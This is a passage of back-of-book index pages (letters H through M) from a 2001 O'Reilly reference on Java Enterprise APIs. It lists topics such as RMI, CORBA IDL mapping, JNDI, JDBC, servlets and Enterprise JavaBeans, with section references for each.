header files (JNI C/C++): 3.7. RMI and Native Method Calls
headers
cookies: 5.7. Cookies
fields, listed (JMS messages): 21. The javax.jms Package
IDL interfaces: 4.2.1.2. Interfaces
help() (Command): 6.5.1. The Command Interface
helper classes: 4.2.2.2. The helper class
arrays (IDL), generating in Java: 10.7.2.1. Mapping arrays to Java
Binding class: 35. The org.omg.CosNaming Package
BindingIterator class: 35. The org.omg.CosNaming Package
BindingList class: 35. The org.omg.CosNaming Package
BindingType class: 35. The org.omg.CosNaming Package
enumerations (IDL), generating in Java: 10.7.5.1. Mapping enumerations to Java
IDL/Java conversion: 4.2.2. Turning IDL Into Java
4.4. Finding Remote Objects
10.10.4.1. Helper and holder classes
Istring class: 35. The org.omg.CosNaming Package
Name (typedef): 35. The org.omg.CosNaming Package
NameComponent class: 35. The org.omg.CosNaming Package
NamingContext interface: 35. The org.omg.CosNaming Package
sequences (IDL), generating in Java: 10.7.3.1. Mapping sequences to Java
ServiceDetail class: 30. The org.omg.CORBA Package
ServiceInformation class: 30. The org.omg.CORBA Package
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
HeuristicCommitException class: 28. The javax.transaction Package
HeuristicMixedException class: 28. The javax.transaction Package
HeuristicRollbackException class: 28. The javax.transaction Package
hidden flag: 38.2.3.1. Member availability and flags
holder classes: 4.2.2. Turning IDL Into Java
30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
Any objects: 30. The org.omg.CORBA Package
arrays (IDL), generating in Java: 10.7.2.1. Mapping arrays to Java
Binding class: 35. The org.omg.CosNaming Package
BindingIterator class: 35. The org.omg.CosNaming Package
BindingType class: 35. The org.omg.CosNaming Package
boolean values (IDL/Java mapping): 30. The org.omg.CORBA Package
byte values (IDL/Java mapping): 30. The org.omg.CORBA Package
char values (IDL/Java mapping): 30. The org.omg.CORBA Package
enumerations (IDL), generating in Java: 10.7.5.1. Mapping enumerations to Java
IDL methods, mapping to Java: 10.10.4.3. Methods
IDL/Java conversion: 4.2.2.3. The holder class
10.10.4.1. Helper and holder classes
objects, passing as inout: 4.2.2.3. The holder class
Name (IDL): 35. The org.omg.CosNaming Package
NameComponent class: 35. The org.omg.CosNaming Package
NamingContext interface: 35. The org.omg.CosNaming Package
sequences (IDL), generating in Java: 10.7.3.1. Mapping sequences to Java
ServiceInformation class: 30. The org.omg.CORBA Package
short values: 30. The org.omg.CORBA Package
String values: 30. The org.omg.CORBA Package
structs (IDL), generating in Java: 10.7.4.1. Mapping structs to Java
TypeCodes: 30. The org.omg.CORBA Package
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
home interface: 7.4. Implementing a Basic EJB Object
7.4.1. Home Interface
creating, finding and removing beans: 7.2.2. The Enterprise JavaBeans Object
deployment descriptor, naming: 7.7. Deploying an Enterprise JavaBeans Object
EJB containers, registering with JNDI: 7.2.3. The EJB Container
EJB objects: 7.2.1. The EJB Client
enterprise beans: 7.9.5. Assorted Other Changes
entity beans
container-managed persistence: 7.6.7. Container-Managed Persistence
example: 7.6.2. Finder Methods
finder methods: 7.4.1. Home Interface
7.6.2. Finder Methods
JAR files: 7.7.4. Packaging Enterprise JavaBeans
JNDI, finding with: 7.8.1. Finding Home Interfaces Through JNDI
methods
EJB object implementation, matching: 7.4.1. Home Interface
relation to remote interface and bean implementation methods: 7.4. Implementing a Basic EJB Object
as RMI remote interface: 7.4.1. Home Interface
HomeHandle interface: 7.9.3. Home Handles
host, specifying (ORB): 4.4.2.2. Using multiple naming services
hosts
cookies, returning: 5.7. Cookies
names, authenticating (access control): 5.2.7. Security
ORBs, specifying: 4.3.1. Initializing the ORB
RMI registry daemon, running: 3.4.1. The Registry and Naming Services
HTML
forms processing results: 5.2.2. Forms and Interaction
pages
dynamic content, adding: 5.6. Server-Side Includes
JavaServer Pages: 5.6. Server-Side Includes
servlets returning: 5.1. The Servlet Life Cycle
HTML 3.2 standard, ISO Latin-1 character set: 10.2. Identifiers
HTTP
errors: 5.2.6.1. Status codes
form variables: 5.2.2. Forms and Interaction
headers
fields, manipulating: 5.2.4. Servlet Responses
requests: 5.2.3. POST, HEAD, and Other Requests
5.2.5. Servlet Requests
responses: 5.2.4. Servlet Responses
requests: 5.2.3. POST, HEAD, and Other Requests
5.5. Thread Safety
HTTP forms values, servlet tags vs.: 5.6. Server-Side Includes
HTTP headers cookies, writing and reading to/from: 5.7. Cookies
HTTP protocol
javax.servlet.http, supporting: 1.3.6. Servlets
servlet support: 26. The javax.servlet.http Package
stateless nature: 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise
HTTPS connections (cookies): 5.7. Cookies
HttpServlet class: 5.2. Servlet Basics
26. The javax.servlet.http Package
HTTP protocol, working with: 5.2. Servlet Basics
HttpServlet Request interface: 5.2.1. HTTP Servlets
5.2.5. Servlet Requests
26. The javax.servlet.http Package
HttpServletResponse interface: 5.2.1. HTTP Servlets
5.2.4. Servlet Responses
26. The javax.servlet.http Package
HttpSession interface: 5.8. Session Tracking
26. The javax.servlet.http Package
HttpSessionBindingEvent class: 5.8.1. HttpSessionBindingListener
26. The javax.servlet.http Package
HttpSessionBindingListener interface: 5.8.1. HttpSessionBindingListener
26. The javax.servlet.http Package
HttpSessionContext interface: 26. The javax.servlet.http Package
HttpUtils class: 26. The javax.servlet.http Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

id field (NameComponent): 4.4.2.1. Using a naming context
idempotent (HTTP requests): 5.2.3. POST, HEAD, and Other Requests
identifiers
IDL interface: 10.10.3.1. Method and attribute inheritance
identifiers (IDL): 10.2. Identifiers
IDL: 4. Java IDL
30. The org.omg.CORBA Package
arrays, helper and holder classes: 10.7.2.1. Mapping arrays to Java
arrays, mapping to Java: 10.7.2.1. Mapping arrays to Java
character literals, mapping to Java: 10.5.4. Character Literals
characters, mapping to Java: 10.4.1.1. Mapping strings and characters to Java
comments, mapping to Java: 10.3.1. Mapping Comments to Java
constants: 10.5. Constants and Literals
10.5.1. Mapping Constants to Java
context variables (methods): 10.10.2.3. Context values
converting to Java: 4.2.2. Turning IDL Into Java
CORBA-enabled interface, defining: 4.2. Creating CORBA Objects
CORBA exceptions, mapping to Java: 10.8.2. Mapping Exceptions to Java
data types: 10.4. Basic Data Types
typedef: 10.7.1.1. Mapping typedefs to Java
user-defined: 10.7. User-Defined Data Types
data types, describing in CORBA: 4.1.1. Interface Definition Language
declaration language: 4.2.1. An IDL Primer
default ORB implementation: 4.3.1. Initializing the ORB
early binding (constants): 10.10.3.3. IDL early binding
entities, high-level, listed: 10. IDL Reference
enumerations: 10.7.5. Enumerations
error codes, listed (COMM_FAILURE): 30. The org.omg.CORBA Package
example, complete: 4.2.1.4. A complete IDL example
exceptions: 10.8. Exceptions
identifiers: 10.2. Identifiers
10.2. Identifiers
mapping to Java: 10.2.1. Mapping Identifiers to Java
idltojava compiler, bugs (early-access version): 12. Java IDL Tools
initial object references root objects in Naming Service, storing as: 4.4.1. Initial ORB References
interfaces
declaring: 4.2.1.3. Data members and methods
inheritance: 10.10.3. Interface Inheritance
interfaces, mapping to Java: 10.10.4. Mapping Interfaces to Java
Java, differences (list): 4.2.1. An IDL Primer
Java stubs to CORBA objects: 3.7.1. RMI with JNI Versus CORBA
Java-to-IDL-mapping: 3.8.1. Accessing RMI Objects from CORBA
keywords, listed: 10.1. IDL Keywords
literals: 10.5. Constants and Literals
literals (character): 10.5.4. Character Literals
literals (numeric), mapping to Java: 10.5.3.4. Mapping numeric literals to Java
methods: 10.10.2. Methods
calls, semantics: 10.10.2.4. Call semantics
context clauses, ignoring (idltojava compiler): 12. Java IDL Tools
mapping to Java: 10.10.4.3. Methods
modules: 4.2.1.1. Modules
declaring: 10.9. Module Declarations
mapping to Java: 10.9.1. Mapping Modules to Java
naming scopes: 10.6. Naming Scopes
Naming Service: 4.3.1. Initializing the ORB
4.3.2. Registering with a Naming Service
12. Java IDL Tools
nonstandard features, Java implementation of CORBA: 4.4.2.2. Using multiple naming services
ORB, properties (standard): 4.3.1. Initializing the ORB
ORBs, properties (nonstandard): 4.3.1. Initializing the ORB
reference: 10. IDL Reference
remote method using inout parameter: 4.2.2.3. The holder class
RMI vs.: 4. Java IDL
sequences: 10.7.3. Sequences
sequences, mapping to Java: 10.7.3.1. Mapping sequences to Java
strings, mapping to Java: 10.4.1.1. Mapping strings and characters to Java
strings and characters: 10.4.1. Strings and Characters
structs: 10.7.4. Structs
structs, mapping to Java: 10.7.4.1. Mapping structs to Java
tools: 12. Java IDL Tools
unions: 10.7.6. Unions
mapping to Java: 10.7.6.1. Mapping unions to Java
IDLEntity interface: 33. The org.omg.CORBA.portable Package
idltojava compiler: 4. Java IDL
12. Java IDL Tools
bugs: 12. Java IDL Tools
context variable, not supported: 10.10.2.3. Context values
downloading from Sun: 4.2.2. Turning IDL Into Java
environment: 12. Java IDL Tools
Java classes, generating from IDL interfaces: 4.2.2. Turning IDL Into Java
stub and skeleton classes, generating: 4.2.2. Turning IDL Into Java
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
IDLType interface: 30. The org.omg.CORBA Package
IETF (see Internet Engineering Task Force)
IIOP (see RMI/IIOP)
IllegalStateException forwarding, servlet requests: 5.10.1. Request Dispatching
IllegalStateException class: 21. The javax.jms Package
Implements: flag: 38.2.3.1. Member availability and flags
IMP_LIMIT class: 30. The org.omg.CORBA Package
inactive() (Activatable): 14. The java.rmi.activation Package
inactiveGroup() (ActivationGroup): 3.6.4. Activation Groups
inactiveObject() (ActivationGroup): 3.6.4. Activation Groups
14. The java.rmi.activation Package
include() (RequestDispatcher): 5.10.1. Request Dispatching
25. The javax.servlet Package
InconsistentTypeCode class: 32. The org.omg.CORBA.ORBPackage Package
index (see primary keys)
init()
GenericServlet class: 25. The javax.servlet Package
JDBC Connection objects, creating (servlets): 5.9. Databases and Non-HTML Content
ORB class: 4.3.1. Initializing the ORB
30. The org.omg.CORBA Package
Servlet API Version 2.1 (changes): 5.10. The Servlet API 2.1
Servlet interface: 25. The javax.servlet Package
servlet persistence: 5.4. Custom Servlet Initialization
servlets, multiple invocations: 5.1. The Servlet Life Cycle
initctx command: 6.5.2. Loading an Initial Context
initial context
changing with initctx command: 6.5.3. Running the Shell
naming systems: 6.2. A JNDI Example
initial references, listing (ORB): 4.4.1. Initial ORB References
InitialContext class: 22. The javax.naming Package
browsing, use as entry point: 6.6.2. Browsing a Naming System
LDAP factory class, creating: 6.3.1. Using the InitialContext Class
loading into NamingShell: 6.5.2. Loading an Initial Context
naming systems: 6.3.1. Using the InitialContext Class
InitialContextFactory interface: 24. The javax.naming.spi Package
INITIAL_CONTEXT_FACTORY property: 6.2. A JNDI Example
7.8.1. Finding Home Interfaces Through JNDI
22. The javax.naming Package
InitialContextFactoryBuilder interface: 24. The javax.naming.spi Package
InitialDirContext class: 23. The javax.naming.directory Package
initialization (see activation)
servlets, customizing: 5.4. Custom Servlet Initialization
initialization constructors: 3.6.2.1. The Activatable class
initialization methods (ORBs): 4.3.1. Initializing the ORB
INITIALIZE class: 30. The org.omg.CORBA Package
inner classes: 4.2.1. An IDL Primer
inner joins (SQL): 8.4.1.2. Subqueries and joins
InputStream class: 33. The org.omg.CORBA.portable Package
insertRow() ResultSet interface: 18. The java.sql Package
insertRow() (ResultSet): 2.13.1. Results Handling
InsufficientResourcesException class: 22. The javax.naming Package
integers (IDL literals): 10.5.3.1. Integer literals
Interface Definition Language (see IDL)
Interface Description Langauge (see IDL)
interface (IDL), converted to Java interface: 4.2.2.1. A simple server class
interfaces (IDL): 10. IDL Reference
attributes: 10.10.1. Attributes
attributes and methods, inheriting: 10.10.3. Interface Inheritance
constants, declaring: 10.5.1. Mapping Constants to Java
declarations: 10.10. Interface Declarations
declaring: 4.2.1.2. Interfaces
Java classes and interfaces vs.: 4.2.1. An IDL Primer
Java classes, generating from: 4.2.2. Turning IDL Into Java
mapping to Java: 10.10.4. Mapping Interfaces to Java
methods, mapping to Java interface: 10.10.4.3. Methods
interfaces (remote object), unknown: 4.5. What If I Don't Know the Interface?
INTERNAL class: 30. The org.omg.CORBA Package
internal links (servlets), URL encoding: 5.8. Session Tracking
Internet, distributed computing and: 1.1. Enterprise Computing Defined
Internet Engineering Task Force (IETF) (cookies standard): 5.7. Cookies
Internet Inter-ORB Protocol (IIOP) (see RMI/IIOP)
Interoperable Object Reference: 4.3. Putting It in the Public Eye
Interoperable Object References: 4.4.3. Stringified Object References
interpreters (NamingShell, lacking): 6.5. The NamingShell Application
InterruptedNamingException class: 22. The javax.naming Package
INTF_REPOS class: 30. The org.omg.CORBA Package
IntHolder class: 30. The org.omg.CORBA Package
Invalid class: 31. The org.omg.CORBA.DynAnyPackage Package
InvalidAttributeIdentifierException class: 23. The javax.naming.directory Package
InvalidAttributesException class: 6.11. Creating Directory Entries
InvalidAttributeValueException class: 23. The javax.naming.directory Package
InvalidClientIDException class: 21. The javax.jms Package
InvalidDestinationException class: 21. The javax.jms Package
InvalidName class: 32. The org.omg.CORBA.ORBPackage Package
36. The org.omg.CosNaming. NamingContextPackage Package
InvalidNameException class: 22. The javax.naming Package
InvalidNameHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package
InvalidNameHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
InvalidSearchControlsException class: 23. The javax.naming.directory Package
InvalidSearchFilterException class: 23. The javax.naming.directory Package
InvalidSelectorException class: 21. The javax.jms Package
InvalidSeq class: 31. The org.omg.CORBA.DynAnyPackage Package
INVALID_TRANSACTION class: 30. The org.omg.CORBA Package
InvalidTransactionException class: 28. The javax.transaction Package
InvalidValue class: 31. The org.omg.CORBA.DynAnyPackage Package
INV_FLAG class: 30. The org.omg.CORBA Package
INV_IDENT class: 30. The org.omg.CORBA Package
INV_OBJREF class: 30. The org.omg.CORBA Package
invoke()
DynamicImplementation class: 30. The org.omg.CORBA Package
RemoteRef interface: 17. The java.rmi.server Package
Request class: 30. The org.omg.CORBA Package
ServerSkeleton class: 4.2.2.4. The client and server stubs
_invoke() (InvokeHandler): 33. The org.omg.CORBA.portable Package
InvokeHandler interface: 33. The org.omg.CORBA.portable Package
INV_POLICY class: 30. The org.omg.CORBA Package
IORs (see Interoperable Object References)
IRObject interface: 30. The org.omg.CORBA Package
isCallerInRole() (EJBContext): 19. The javax.ejb Package
isNull() (ResultSet): 2.6.1. Handling Nulls
ISO date escape sequences (JDBC): 2.6.3. Dates and Times
ISO Latin-1: 10.2. Identifiers
isolation levels
transactions: 2.10. Transactions
2.10. Transactions
JDBC support, listed: 2.10. Transactions
isolation levels (transactions): 7.3.2. Transaction Isolation Levels
database isolation levels and: 7.3.2. Transaction Isolation Levels
deployment descriptors, specifying: 7.7. Deploying an Enterprise JavaBeans Object
listed: 7.3.2. Transaction Isolation Levels
IstringHelper class: 35. The org.omg.CosNaming Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

JAR files: 7.7. Deploying an Enterprise JavaBeans Object
7.7. Deploying an Enterprise JavaBeans Object
7.7.4. Packaging Enterprise JavaBeans
deployment descriptors: 7.9.1. XML-Based Deployment Descriptors
jar utility (Java SDK): 7.7.4. Packaging Enterprise JavaBeans
Java
client and server implementation, required (RMI): 1.3.2. RMI: Remote Method Invocation
IDL conversion: 4.2.2. Turning IDL Into Java
IDL, differences (list): 4.2.1. An IDL Primer
object-oriented programming: 1.2. Enterprise Computing Demystified
platform independence: 1.2. Enterprise Computing Demystified
SQL vs.: 8. SQL Reference
versions 1.1 and 1.2 RMI, introducing and enhancing: 1.3.2. RMI: Remote Method Invocation
versions 1.1 and 1.2 (JDBC): 1.3.1. JDBC: Working with Databases
Java 2 platform
Enterprise Edition (J2EE): 1. Introduction
JDBC 2.0: 2.13. JDBC 2.0
JDBC 2.0, new features: 2. JDBC
Servlet API: 1.3.6. Servlets
Java archive files (see JAR files)
Java-aware databases: 2.13.3. Java-Aware Databases
Java Blend (object/database mapping): 2.13.3. Java-Aware Databases
Java classes
EJB client and container, providing for: 7.2.2. The Enterprise JavaBeans Object
EJB components: 7.4. Implementing a Basic EJB Object
IDL interfaces vs.: 4.2.1. An IDL Primer
Java Database Connectivity (see JDBC)
Java Development Kit (see JDK)
Java Enterprise APIs: 1.3. The Java Enterprise APIs
EJB vs.: 1.3.5. Enterprise JavaBeans
heterogeneous networks, alleviating problems: 1.2. Enterprise Computing Demystified
Jini vs.: 1.5. Java Enterprise APIs Versus Jini
servlets, using: 1.3.6. Servlets
SQL as key part: 2. JDBC
Java IDL (see IDL)
Java interface (IDL interface, converting): 4.2.2.1. A simple server class
Java language
comments (IDL): 10.3. Comments
multithreading vs. concurrency control (CORBA): 11.6. Concurrency Control Service
Java Message Service (see JMS)
Java Message Service (JMS): 21. The javax.jms Package
Java Naming and Directory Interface (see JNDI)
6. JNDI
Java Naming and Directory Services (see JNDI)
Java Native Interface (see JNI)
Java objects
instantiating: 2.13.3. Java-Aware Databases
mapping to database records (Java Blend): 2.13.3. Java-Aware Databases
SQL type, mapping to: 18. The java.sql Package
storing type: 2.13.3. Java-Aware Databases
Java packages (IDL modules vs.): 4.2.1. An IDL Primer
Java SDK jar utility: 7.7.4. Packaging Enterprise JavaBeans
Java Servlet API: 1.3.6. Servlets
Java Servlet Development Kit (JSDK): 5.2. Servlet Basics
Java Transaction API (see JTA)
7.8.3. Using Client-Side Transactions
Java VM
activation daemon: 3.6.5. The Activation Daemon
activation group, startup: 14. The java.rmi.activation Package
activation groups: 3.6.3. Registering Activatable Objects
activation groups, running: 3.6. Remote Object Activation
libraries (native functions), loading: 3.7. RMI and Native Method Calls
Java Web Server (JWS), URL encoding, disabled: 5.8. Session Tracking
JavaBeans
client GUIs: 1.3.5. Enterprise JavaBeans
EJB and: 7. Enterprise JavaBeans
javah tool (natively implemented method): 3.7. RMI and Native Method Calls
java.io package, serialization and deserialization features: 1.3.2. RMI: Remote Method Invocation
java.lang.Object
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
java.naming.factory.initial property: 6.3.1. Using the InitialContext Class
java.rmi package: 1.3.2. RMI: Remote Method Invocation
3. Remote Method Invocation
java.rmi Package package: 13. The java.rmi Package
java.rmi.activation package: 3.6. Remote Object Activation
java.rmi.activation Package package: 14. The java.rmi.activation Package
java.rmi.activation.ActivationSystem: 9. RMI Tools
java.rmi.dgc Package package: 15. The java.rmi.dgc Package
java.rmi.registry Package package: 16. The java.rmi.registry Package
java.rmi.server package: 3.2.1. Key RMI Classes for Remote Object Implementations
17. The java.rmi.server Package
java.rmi.server.codebase property: 3.5.1. Configuring Clients and Servers for Remote Class Loading
JavaServer Pages (JSP): 5.6. Server-Side Includes
java.sql package: 2. JDBC
18. The java.sql Package
JDBC API, containing: 1.3.1. JDBC: Working with Databases
javax.ejb package: 7. Enterprise JavaBeans
EJB API: 1.3.5. Enterprise JavaBeans
javax.ejb Package package: 19. The javax.ejb Package
javax.ejb.deployment package: 7.7. Deploying an Enterprise JavaBeans Object
EJB API: 1.3.5. Enterprise JavaBeans
javax.ejb.deployment Package package: 20. The javax.ejb.deployment Package
javax.jms package: 21. The javax.jms Package
javax.naming package: 1.3.4. JNDI: Accessing Naming and Directory Services
6.1. JNDI Architecture
javax.naming Package package: 22. The javax.naming Package
javax.naming.directory package: 6.1. JNDI Architecture
javax.naming.directory Package package: 23. The javax.naming.directory Package
javax.naming.spi package: 6.1. JNDI Architecture
javax.naming.spiPackage package: 24. The javax.naming.spi Package
javax.servlet package: 1.3.6. Servlets
5.2. Servlet Basics
javax.servlet Package package: 25. The javax.servlet Package
javax.servlet.http package: 1.3.6. Servlets
5.2. Servlet Basics
javax.servlet.http Package package: 26. The javax.servlet.http Package
javax.sql package: 2.13.5. The JDBC Standard Extension
JDBC, additional features: 1.3.1. JDBC: Working with Databases
javax.sql Package package: 27. The javax.sql Package
javax.transaction package: 1.3.8. JTA: Managing Distributed Transactions
javax.transaction Package package: 28. The javax.transaction Package
javax.transactions.xa package: 1.3.8. JTA: Managing Distributed Transactions
javax.transaction.xa Package package: 29. The javax.transaction.xa Package
JDBC
2.0 standard extension: 2.13.5. The JDBC Standard Extension
architecture: 2.1. JDBC Architecture
basic functionalities, example: 2.2. JDBC Basics
batch updates: 2.13.2. Batch Updates
BLOB and CLOB objects: 2.6.2. Large Data Types
commands, database-independent: 2.12. Escape Sequences
Connection object, binding to sessions: 5.8.1. HttpSessionBindingListener
connection pooling mechanism: 5.9. Databases and Non-HTML Content
connections, EJB server, providing: 7.3.1. Making the EJB Server Aware of Database Transactions
connections pool, EJB vendors, providing: 7.3.1. Making the EJB Server Aware of Database Transactions
data types, mapping to primitive Java types: 2.8. Prepared Statements
database communications, servlets: 5.9. Databases and Non-HTML Content
database connections (container-managed persistence): 7.6.7. Container-Managed Persistence
date and time classes: 2.6.3. Dates and Times
drivers: 2.1. JDBC Architecture
2.3. JDBC Drivers
EJB server, awareness of connections: 7.3.1. Making the EJB Server Aware of Database Transactions
escape syntax, stored procedures: 2.11. Stored Procedures
JDBC 2.0 standard extension: 2.4. Connecting to the Database
JDBC-ODBC Bridge (Microsoft Open DataBase Connectivity): 2.3.2. The JDBC-ODBC Bridge
JDBC version 1.0: 2.13. JDBC 2.0
metadata: 2.9. Metadata
platform independence: 2.1. JDBC Architecture
ResultSet (version 2.0 vs. 1.0): 2.6. Results
SQL return codes: 8.6. Return Codes
SQL statements: 2.5. Statements
transactions: 2.10. Transactions
URLs: 2.3.1. JDBC URLs
odbc subprotocol: 2.3.2. The JDBC-ODBC Bridge
version 2.0: 2.13. JDBC 2.0
versions 1.0 and 2.0: 2. JDBC
JDBC API: 2. JDBC
18. The java.sql Package
Standard Extension API (2.0): 27. The javax.sql Package
JDBC drivers, registering with DriverManager: 2.3. JDBC Drivers
JDBC (Java Database Connectivity)
relational databases, working with: 1.3.1. JDBC: Working with Databases
JDBC-ODBC Bridge
sample output (DatabaseMetaData program): 2.9.1. DatabaseMetaData
Sun and Intersolv, updated version: 2.13. JDBC 2.0
Windows and Solaris systems: 2.3.2. The JDBC-ODBC Bridge
JDBC-ODBC Bridge Drivers: 2.3. JDBC Drivers
JDBCDriverManager: 2.3. JDBC Drivers
jdbc.drivers property: 2.3. JDBC Drivers
JDBMS systems, Java objects (storing): 2.13.3. Java-Aware Databases
JDK
RMI registry daemon: 3.4.1. The Registry and Naming Services
servlets, separate distribution: 5.2. Servlet Basics
version 1.0: 2.13. JDBC 2.0
Version 1.1 (JDBC-ODBC Bridge): 2.3.2. The JDBC-ODBC Bridge
Jini, Java Enterprise APIs vs.: 1.5. Java Enterprise APIs Versus Jini
JMS (Java Message Service): 1.3.7. JMS: Enterprise Messaging
JMSException class: 21. The javax.jms Package
JMSSecurityException class: 21. The javax.jms Package
JNDI: 6. JNDI
6. JNDI
22. The javax.naming Package
architecture: 6.1. JNDI Architecture
attribute values, specifying: 6.11. Creating Directory Entries
attributes values, working with: 6.9.4. The Attribute Interface
client identity, reserved name entry: 7.7.2. Access-Control Deployment Attributes
CORBA Naming Service, registering with: 3.8. RMI over IIOP
directory schema, modifying: 6.10. Modifying Directory Entries
directory schemas: 6.9.1. X.500 Directories
directory services: 6.9. Accessing Directory Services
searching: 6.12. Searching a Directory
EJB components, accessing on network: 6. JNDI
EJB home interfaces, locating: 7.2.1. The EJB Client
files, not creating: 6.7. Creating and Destroying Contexts
home interface (EJB), registering: 7.2.3. The EJB Container
JDBC standard extension, supporting: 2.13.5. The JDBC Standard Extension
libraries, specifying in classpath: 6.5.3. Running the Shell
naming directory: 23. The javax.naming.directory Package
packages, downloading: 6.1. JNDI Architecture
remote objects, binding to CORBA Naming Service: 3.8. RMI over IIOP
RMI registry, binding: 3.1.3.1. Naming/registry service
security principal EJB/JNDI server: 7.8.1. Finding Home Interfaces Through JNDI
separator characters (compound names): 6.6.1. How Names Work
SPI (see SPI (JNDI))
JNDI (Java Naming and Directory Services): 1.3.4. JNDI: Accessing Naming and Directory Services
JNI: 3.1. Introduction to RMI
JNI C/C++ header files: 3.7. RMI and Native Method Calls
joins (SQL): 8.4.1.2. Subqueries and joins
multiple tables, joining: 8.4.1.2. Subqueries and joins
tables, connecting: 8.4.1.2. Subqueries and joins
without JOIN keyword: 8.4.1.2. Subqueries and joins
JSDK (Java Servlet Development Kit): 5.2. Servlet Basics
JSP (see Java Server Pages)
JTA: 28. The javax.transaction Package
boundaries (client-side), creating: 7.8.3. Using Client-Side Transactions
EJB transaction support: 7.3. Transaction Management
JTA API: 1.3.8. JTA: Managing Distributed Transactions
two-phase commit: 2.13.5. The JDBC Standard Extension
JWS (Java Web Server) servlet chaining: 5.3. Servlet Chaining

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

keep-alive checks, servlets: 5.10.1. Request Dispatching
key attributes: 6.9.2. The DirContext Interface
6.9.2. The DirContext Interface
(see also attributes)
specifying: 6.11. Creating Directory Entries
keywords
best-effort method call semantics: 10.10.2.4. Call semantics
escape sequences (JDBC): 2.12. Escape Sequences
IDL: 10.1. IDL Keywords
IDL attributes: 10.10.1. Attributes
kind field (NameComponent): 4.4.2.1. Using a naming context

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

language independence
CORBA: 4.1. The CORBA Architecture
inter-ORB communications: 4.1.4. Inter-ORB Communication
large data types: 2.6.2. Large Data Types
last() ResultSet interface: 18. The java.sql Package
layout (directories): 6.9.1. X.500 Directories
LDAP
directory servers: 6.9.3. The Attributes Interface
entries, prohibiting new: 6.11. Creating Directory Entries
factory class: 6.3.1. Using the InitialContext Class
naming systems and: 6. JNDI
organizational unit and user object classes: 6.11. Creating Directory Entries
search criteria, syntax: 6.12.1. Search Criteria
leaf, CORBA naming directory: 4.1.3. The Naming Service
Lease class: 15. The java.rmi.dgc Package
leaves: 6.4. Looking Up Objects in a Context
length() (Blob): 18. The java.sql Package
libraries
native code, wrapping with Java: 2.3. JDBC Drivers
native functions, loading: 3.7. RMI and Native Method Calls
third-party, thread safety and: 5.5. Thread Safety
Licensing Service (CORBA): 11.11. Licensing Service
life cycle
entity beans: 7.6.5. Life Cycle of an Entity Bean
servlets: 5.1. The Servlet Life Cycle
Life Cycle Service (CORBA): 11.7. Externalization Service
Lightweight Directory Access Protocol (see LDAP)
LIKE statement: 2.12. Escape Sequences
LimitExceededException class: 22. The javax.naming Package
LinkException class: 22. The javax.naming Package
LinkLoopException class: 22. The javax.naming Package
LinkRef class: 22. The javax.naming Package
list() NameClassPair class: 22. The javax.naming Package
listattrs command: 6.9.3. The Attributes Interface
listBindings()
Binding class: 22. The javax.naming Package
Context interface: 22. The javax.naming Package
list_initial_references() (ORB): 4.4.1. Initial ORB References
literals
character (IDL), mapping to Java: 10.5.4. Character Literals
numeric (IDL), mapping to Java: 10.5.3.4. Mapping numeric literals to Java
literals (IDL)
characters: 10.5.4. Character Literals
numeric, types: 10.5.3. Numeric Literals
strings, adjacent (idltojava compiler bugs): 12. Java IDL Tools
strings (characters): 10.5.5. String Literals
loadClass() (RMIClassLoader): 17. The java.rmi.server Package
LoaderHandler class: 17. The java.rmi.server Package
loadLibrary() (System): 3.7. RMI and Native Method Calls
LocateRegistry class: 9. RMI Tools
16. The java.rmi.registry Package
LocateRegistry interface: 3.4.1. The Registry and Naming Services
3.4.1. The Registry and Naming Services
3.4.1. The Registry and Naming Services
log() (LogStream): 17. The java.rmi.server Package
logical operators, combining with search filters: 6.12.1. Search Criteria
LogStream class: 17. The java.rmi.server Package
LongHolder class: 30. The org.omg.CORBA Package
lookup()
Context interface: 6.4. Looking Up Objects in a Context
22. The javax.naming Package
Naming class: 13. The java.rmi Package
Naming interface: 3.1.3.1. Naming/registry service
Registry interface: 16. The java.rmi.registry Package
Lookup application: 6.2. A JNDI Example
loopbacks: 7.7. Deploying an Enterprise JavaBeans Object

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

main()
RMI registry: 3.1.1. RMI in Action
ServerInit class: 4.4.3. Stringified Object References
MalformedLinkException class: 22. The javax.naming Package
MalformedURLException class: 3.4.1. The Registry and Naming Services
mandatory attributes: 6.11. Creating Directory Entries
manifest file (JAR file): 7.7.4. Packaging Enterprise JavaBeans
MapMessage interface: 21. The javax.jms Package
mapping object-oriented languages to CORBA specifications: 4.1. The CORBA Architecture
MARSHAL class: 30. The org.omg.CORBA Package
MarshalException class: 3.1.2. RMI Architecture
3.4.2. Remote Method Arguments and Return Values
marshaling: 3.1.2. RMI Architecture
(see also unmarshaling)
IDL objects: 33. The org.omg.CORBA.portable Package
remote method arguments: 3.1.2. RMI Architecture
10.4.1.1. Mapping strings and characters to Java
URL, encoding for class file: 3.5.1. Configuring Clients and Servers for Remote Class Loading
MarshalledObject class: 3.6.2.2. Implementing an activatable object
3.6.3.2. Passing data with the MarshalledObject
13. The java.rmi Package
member availability: 38.2.3.1. Member availability and flags
member flags: 38.2.3.1. Member availability and flags
Message interface: 21. The javax.jms Package
